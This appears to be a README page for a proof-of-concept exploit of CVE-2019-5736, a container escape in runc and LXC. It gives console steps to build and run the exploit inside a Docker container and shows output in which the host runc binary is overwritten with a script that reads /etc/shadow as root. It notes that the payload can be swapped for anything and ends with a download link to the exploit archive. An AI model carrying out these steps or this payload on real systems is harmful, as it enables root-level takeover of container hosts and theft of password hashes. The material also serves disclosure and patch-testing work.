81 lines
No EOL
2.9 KiB
Markdown
81 lines
No EOL
2.9 KiB
Markdown
## CVE-2019-5736 ##
|
|
|
|
This is exploit code for CVE-2019-5736 (and it works for both runc and LXC).
|
|
The simplest way to use it is to copy the exploit code into an existing
|
|
container, and run `make.sh`. However, you could just as easily create a bad
|
|
image and run that.
|
|
|
|
```console
|
|
% docker run --rm --name pwnme -dit ubuntu:18.10 bash
|
|
pwnme
|
|
% docker cp CVE-2019-5736.tar pwnme:/CVE-2019-5736.tar
|
|
```
|
|
|
|
We need to install `gcc` to build the exploit, and `runc` because we need to
|
|
have the shared libraries that `runc` would use. We don't actually use the
|
|
`runc` binary itself. For LXC, you would install `lxc` instead of `runc`.
|
|
|
|
```console
|
|
% docker attach pwnme
|
|
# apt-get update && apt-get install -y gcc runc
|
|
[ snip ]
|
|
# tar xf CVE-2019-5736.tar
|
|
# ./CVE-2019-5736/make.sh
|
|
```
|
|
|
|
And now, `/bin/bash` in the container will be able to **overwrite the host runc
|
|
binary**. Since this binary is often executed by `root`, this allows for
|
|
root-level code execution on the host.
|
|
|
|
```
|
|
% docker exec -it pwnme /bin/bash
|
|
[+] bad_libseccomp.so booted.
|
|
[+] opened ro /proc/self/exe <3>.
|
|
[+] constructed fdpath </proc/self/fd/3>
|
|
[+] bad_init is ready -- see </tmp/bad_init_log> for logs.
|
|
[*] dying to allow /proc/self/exe to be unused...
|
|
% cat /usr/sbin/docker-runc
|
|
#!/bin/bash
|
|
touch /w00t_w00t ; cat /etc/shadow
|
|
```
|
|
|
|
And now if you try to use Docker normally, the malicious script will execute
|
|
with root privileges:
|
|
|
|
```
|
|
% docker exec -it pwnme /bin/good_bash
|
|
OCI runtime state failed: invalid character 'b' looking for beginning of value: unknown
|
|
% file /w00t_w00t
|
|
/w00t_w00t: empty
|
|
```
|
|
|
|
And obviously `make.sh` can be modified to make the evil path anything you
|
|
like. If you want to get access to the container, use `/bin/good_bash`.
|
|
|
|
### License ###
|
|
|
|
```
|
|
Copyright (C) 2019 Aleksa Sarai <cyphar@cyphar.com>
|
|
Vulnerability discovered by Adam Iwaniuk and Borys Popławski.
|
|
|
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
of this software and associated documentation files (the "Software"), to
|
|
deal in the Software without restriction, including without limitation the
|
|
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
|
sell copies of the Software, and to permit persons to whom the Software is
|
|
furnished to do so, subject to the following conditions:
|
|
|
|
* The above copyright notice and this permission notice shall be included in
|
|
all copies or substantial portions of the Software.
|
|
|
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
|
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
|
IN THE SOFTWARE.
|
|
```
|
|
|
|
|
|
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46369.zip |